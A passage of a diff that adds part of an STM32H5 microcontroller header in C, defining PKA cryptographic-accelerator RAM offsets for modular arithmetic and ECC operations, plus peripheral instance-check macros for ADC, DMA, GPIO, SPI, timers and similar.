((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + + +/** @addtogroup STM32H5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)|| \ + ((INSTANCE) == ADC2_NS)|| \ + ((INSTANCE) == ADC2_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S)) +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S )) +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel1_NS) || ((INSTANCE) == GPDMA2_Channel1_S) || \ + ((INSTANCE) == GPDMA2_Channel2_NS) || ((INSTANCE) == GPDMA2_Channel2_S) || \ + ((INSTANCE) == GPDMA2_Channel3_NS) || ((INSTANCE) == GPDMA2_Channel3_S) || \ + ((INSTANCE) == GPDMA2_Channel4_NS) || ((INSTANCE) == GPDMA2_Channel4_S) || \ + ((INSTANCE) == GPDMA2_Channel5_NS) || ((INSTANCE) == GPDMA2_Channel5_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) IS_DMA_ALL_INSTANCE(INSTANCE) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel6_NS) || ((INSTANCE) == GPDMA2_Channel6_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +#define IS_DMA_PFREQ_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA2_Channel0_NS) || ((INSTANCE) == GPDMA2_Channel0_S) || \ + ((INSTANCE) == GPDMA2_Channel7_NS) || ((INSTANCE) == GPDMA2_Channel7_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + + +/******************************** FMAC Instances ******************************/ +#define IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == GPIOI_NS) || ((INSTANCE) == GPIOI_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* DTS Instances *******************************/ +#define IS_DTS_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DTS_NS) || ((__INSTANCE__) == DTS_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On H5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On H5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************************** I3C Instances *******************************/ +#define IS_I3C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I3C1_NS) || ((INSTANCE) == I3C1_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S) || \ + ((INSTANCE) == SAI2_Block_A_NS) || ((INSTANCE) == SAI2_Block_A_S) || \ + ((INSTANCE) == SAI2_Block_B_NS) || ((INSTANCE) == SAI2_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S)) + +/****************************** FDCAN Instances *******************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S) || \ + ((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S) || \ + ((INSTANCE) == SPI5_NS) || ((INSTANCE) == SPI5_S) || \ + ((INSTANCE) == SPI6_NS) || ((INSTANCE) == SPI6_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI4_NS) || ((INSTANCE) == SPI4_S) || \ + ((INSTANCE) == SPI5_NS) || ((INSTANCE) == SPI5_S) || \ + ((INSTANCE) == SPI6_NS) || ((INSTANCE) == SPI6_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) 